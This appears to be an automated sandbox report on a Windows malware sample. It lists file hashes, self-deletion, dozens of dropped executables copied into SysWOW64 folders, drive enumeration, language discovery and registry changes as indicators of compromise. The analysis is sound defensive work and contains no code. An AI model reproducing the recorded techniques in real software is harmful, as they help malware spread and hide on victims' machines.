Analysis
-
max time kernel
50s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
25-09-2024 03:08
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe
Resource
win7-20240903-en
windows7-x64
14 signatures
150 seconds
General
-
Target
f50a49a6534625d46a74c5998070604e_JaffaCakes118.exe
-
Size
71KB
-
MD5
f50a49a6534625d46a74c5998070604e
-
SHA1
8c4b863effc28a53954d5505d8e17bb4d447e75b
-
SHA256
ae40014fceb0a978dd6d8ac09fac07c498374f371fc6d91f4e28a253db79bf92
-
SHA512
3a66d6ba80f92373dfa8379e6865149d6ebf077c2b6886b64932ac33ab256895fae2869bef64dd4cdba6c0f3820c6727104c4bff65798b3da408a348b7a6df8e
-
SSDEEP
1536:0FeRfqGyNjJZDbZ26wWqyVmtxxPKckwzewBrCyPjlIo54:qetmJZDbZ2hWqyVw/PKBwbb6oS
Malware Config
Signatures
-
Deletes itself 1 IoCs
pid Process 6036 cmd.exe -
Executes dropped EXE 64 IoCs
pid Process 2724 GZbKFaB.exe 1560 yvdnDE4.exe 2272 yvdnDE4.exe 1692 yvdnDE4.exe 1964 yvdnDE4.exe 3032 yvdnDE4.exe 3044 yvdnDE4.exe 572 yvdnDE4.exe 1780 yvdnDE4.exe 2632 yvdnDE4.exe 2816 yvdnDE4.exe 1240 yvdnDE4.exe 524 yvdnDE4.exe 548 yvdnDE4.exe 1712 yvdnDE4.exe 2184 yvdnDE4.exe 2284 yvdnDE4.exe 2044 yvdnDE4.exe 2276 yvdnDE4.exe 868 yvdnDE4.exe 1988 yvdnDE4.exe 1456 yvdnDE4.exe 1816 yvdnDE4.exe 1700 yvdnDE4.exe 1932 yvdnDE4.exe 2352 yvdnDE4.exe 2240 yvdnDE4.exe 1804 yvdnDE4.exe 1588 yvdnDE4.exe 2612 yvdnDE4.exe 840 yvdnDE4.exe 2032 yvdnDE4.exe 2616 yvdnDE4.exe 2928 yvdnDE4.exe 2908 yvdnDE4.exe 1008 yvdnDE4.exe 3036 yvdnDE4.exe 1656 yvdnDE4.exe 344 yvdnDE4.exe 1564 yvdnDE4.exe 2972 yvdnDE4.exe 1600 yvdnDE4.exe 1996 yvdnDE4.exe 860 yvdnDE4.exe 1200 yvdnDE4.exe 2756 yvdnDE4.exe 1724 yvdnDE4.exe 2864 yvdnDE4.exe 2696 yvdnDE4.exe 2520 yvdnDE4.exe 2652 yvdnDE4.exe 856 yvdnDE4.exe 2508 yvdnDE4.exe 2592 yvdnDE4.exe 624 yvdnDE4.exe 2884 yvdnDE4.exe 1304 yvdnDE4.exe 1112 yvdnDE4.exe 1076 yvdnDE4.exe 2428 yvdnDE4.exe 1208 yvdnDE4.exe 2828 yvdnDE4.exe 1392 yvdnDE4.exe 2400 yvdnDE4.exe -
Loads dropped DLL 64 IoCs
pid Process 2724 GZbKFaB.exe 2724 GZbKFaB.exe 1560 yvdnDE4.exe 1560 yvdnDE4.exe 2272 yvdnDE4.exe 2272 yvdnDE4.exe 1692 yvdnDE4.exe 1692 yvdnDE4.exe 1964 yvdnDE4.exe 1964 yvdnDE4.exe 3032 yvdnDE4.exe 3032 yvdnDE4.exe 3044 yvdnDE4.exe 3044 yvdnDE4.exe 572 yvdnDE4.exe 572 yvdnDE4.exe 1780 yvdnDE4.exe 1780 yvdnDE4.exe 2632 yvdnDE4.exe 2632 yvdnDE4.exe 2816 yvdnDE4.exe 2816 yvdnDE4.exe 1240 yvdnDE4.exe 1240 yvdnDE4.exe 524 yvdnDE4.exe 524 yvdnDE4.exe 548 yvdnDE4.exe 548 yvdnDE4.exe 1712 yvdnDE4.exe 1712 yvdnDE4.exe 2184 yvdnDE4.exe 2184 yvdnDE4.exe 2284 yvdnDE4.exe 2284 yvdnDE4.exe 2044 yvdnDE4.exe 2044 yvdnDE4.exe 2276 yvdnDE4.exe 2276 yvdnDE4.exe 868 yvdnDE4.exe 868 yvdnDE4.exe 1988 yvdnDE4.exe 1988 yvdnDE4.exe 1456 yvdnDE4.exe 1456 yvdnDE4.exe 1816 yvdnDE4.exe 1816 yvdnDE4.exe 1700 yvdnDE4.exe 1700 yvdnDE4.exe 1932 yvdnDE4.exe 1932 yvdnDE4.exe 2352 yvdnDE4.exe 2352 yvdnDE4.exe 2240 yvdnDE4.exe 2240 yvdnDE4.exe 1804 yvdnDE4.exe 1804 yvdnDE4.exe 1588 yvdnDE4.exe 1588 yvdnDE4.exe 2612 yvdnDE4.exe 2612 yvdnDE4.exe 840 yvdnDE4.exe 840 yvdnDE4.exe 2032 yvdnDE4.exe 2032 yvdnDE4.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\z: yvdnDE4.exe File opened (read-only) \??\g: yvdnDE4.exe File opened (read-only) \??\g: yvdnDE4.exe File opened (read-only) \??\z: yvdnDE4.exe File opened (read-only) \??\r: bYmZ0jx.exe File opened (read-only) \??\g: yvdnDE4.exe File opened (read-only) \??\u: yvdnDE4.exe File opened (read-only) \??\y: yvdnDE4.exe File opened (read-only) \??\j: yvdnDE4.exe File opened (read-only) \??\v: yvdnDE4.exe File opened (read-only) \??\y: yvdnDE4.exe File opened (read-only) \??\z: bYmZ0jx.exe File opened (read-only) \??\v: yvdnDE4.exe File opened (read-only) \??\r: yvdnDE4.exe File opened (read-only) \??\s: yvdnDE4.exe File opened (read-only) \??\e: yvdnDE4.exe File opened (read-only) \??\o: yvdnDE4.exe File opened (read-only) \??\n: yvdnDE4.exe File opened (read-only) \??\j: yvdnDE4.exe File opened (read-only) \??\x: bYmZ0jx.exe File opened (read-only) \??\i: bYmZ0jx.exe File opened (read-only) \??\z: yvdnDE4.exe File opened (read-only) \??\w: yvdnDE4.exe File opened (read-only) \??\p: bYmZ0jx.exe File opened (read-only) \??\i: yvdnDE4.exe File opened (read-only) \??\p: yvdnDE4.exe File opened (read-only) \??\i: yvdnDE4.exe File opened (read-only) \??\z: yvdnDE4.exe File opened (read-only) \??\n: yvdnDE4.exe File opened (read-only) \??\v: bYmZ0jx.exe File opened (read-only) \??\s: yvdnDE4.exe File opened (read-only) \??\z: yvdnDE4.exe File opened (read-only) \??\h: yvdnDE4.exe File opened (read-only) \??\t: yvdnDE4.exe File opened (read-only) \??\n: yvdnDE4.exe File opened (read-only) \??\q: yvdnDE4.exe File opened (read-only) \??\t: bYmZ0jx.exe File opened (read-only) \??\p: yvdnDE4.exe File opened (read-only) \??\v: bYmZ0jx.exe File opened (read-only) \??\q: yvdnDE4.exe File opened (read-only) \??\e: bYmZ0jx.exe File opened (read-only) \??\k: yvdnDE4.exe File opened (read-only) \??\w: yvdnDE4.exe File opened (read-only) \??\s: yvdnDE4.exe File opened (read-only) \??\w: yvdnDE4.exe File opened (read-only) \??\r: yvdnDE4.exe File opened (read-only) \??\l: yvdnDE4.exe File opened (read-only) \??\w: bYmZ0jx.exe File opened (read-only) \??\q: yvdnDE4.exe File opened (read-only) \??\l: bYmZ0jx.exe File opened (read-only) \??\w: yvdnDE4.exe File opened (read-only) \??\m: yvdnDE4.exe File opened (read-only) \??\j: yvdnDE4.exe File opened (read-only) \??\s: yvdnDE4.exe File opened (read-only) \??\i: yvdnDE4.exe File opened (read-only) \??\j: yvdnDE4.exe File opened (read-only) \??\l: yvdnDE4.exe File opened (read-only) \??\g: bYmZ0jx.exe File opened (read-only) \??\i: yvdnDE4.exe File opened (read-only) \??\k: bYmZ0jx.exe File opened (read-only) \??\h: yvdnDE4.exe File opened (read-only) \??\n: yvdnDE4.exe File opened (read-only) \??\m: yvdnDE4.exe File opened (read-only) \??\r: yvdnDE4.exe -
Drops file in System32 directory 64 IoCs
description ioc Process File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe bYmZ0jx.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe bYmZ0jx.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe bYmZ0jx.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe bYmZ0jx.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe bYmZ0jx.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe bYmZ0jx.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe bYmZ0jx.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe bYmZ0jx.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe bYmZ0jx.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\yvdnDE4\bYmZ0jx.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe File created C:\Windows\SysWOW64\bYmZ0jx\yvdnDE4.exe yvdnDE4.exe -
resource yara_rule behavioral1/files/0x000b000000012251-7.dat upx behavioral1/memory/2724-13-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2724-22-0x0000000000270000-0x00000000002AE000-memory.dmp upx behavioral1/memory/2272-34-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1692-39-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2724-38-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1560-45-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2272-48-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/3044-55-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1692-54-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1964-64-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1780-61-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/3032-71-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2816-70-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1240-76-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/572-75-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/524-80-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2632-82-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2816-89-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1712-91-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/548-87-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1240-96-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2184-95-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/524-100-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/548-102-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2044-107-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1712-108-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2184-111-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2284-116-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2044-120-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2276-122-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/868-123-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1988-125-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1456-127-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2352-128-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1816-129-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2240-130-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1700-134-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1932-136-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2352-137-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2032-142-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1804-141-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/840-139-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2240-138-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2616-144-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1588-145-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2612-146-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/840-147-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1008-152-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2616-151-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2032-149-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2928-153-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2908-154-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/3036-155-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1656-157-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/344-159-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1564-160-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2972-163-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/860-161-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1600-167-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1996-170-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/2864-174-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/1200-173-0x0000000000400000-0x000000000043E000-memory.dmp upx behavioral1/memory/860-171-0x0000000000400000-0x000000000043E000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bYmZ0jx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language yvdnDE4.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{838B04E1-7AEB-11EF-91A4-527E38F5B48B} = "0" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00745b5bf80edb01 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\GPU IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\LowRegistry IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\InternetRegistry IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007b88b8645d6de74ab21efaf0de98379b00000000020000000000106600000001000020000000e588f78ed2fe91ac00185883e98bef35215f22505bc5eb76989ed814bc2506d6000000000e80000000020000200000001725c00718a99e9c077fa9662852d29495209a31c0475491de9303ea8f1fb7ef900000008c9f87269058c109a613d76db1c6f995ef98c0a9b1ff41dc8c1d721926bb6992a6396d84f08b5fcc97340ad132dbdb474b11bbde9dbe8f8d4d68d3ce18524d92bc8483e467da7ae44a1f2fae30e2176bd604a514781c6bbb1ac85c9087ee6447a96cc713121b290482080b8ce986bc66e73c003b13a3a5cccea8c5bc1a45a23765d57908f2b030b33ff5a4cd0bc4462d400000002169791d2f7c1131b0410ac6fdc11aaff4ae8d5f227a5ac44f30eddc20a04640a3bed13b9fa3185832a8a4df758aee681369a10ef061a4251e61e4912a09d7dd IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\IntelliForms IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\IETld\LowMic IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Toolbar IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" 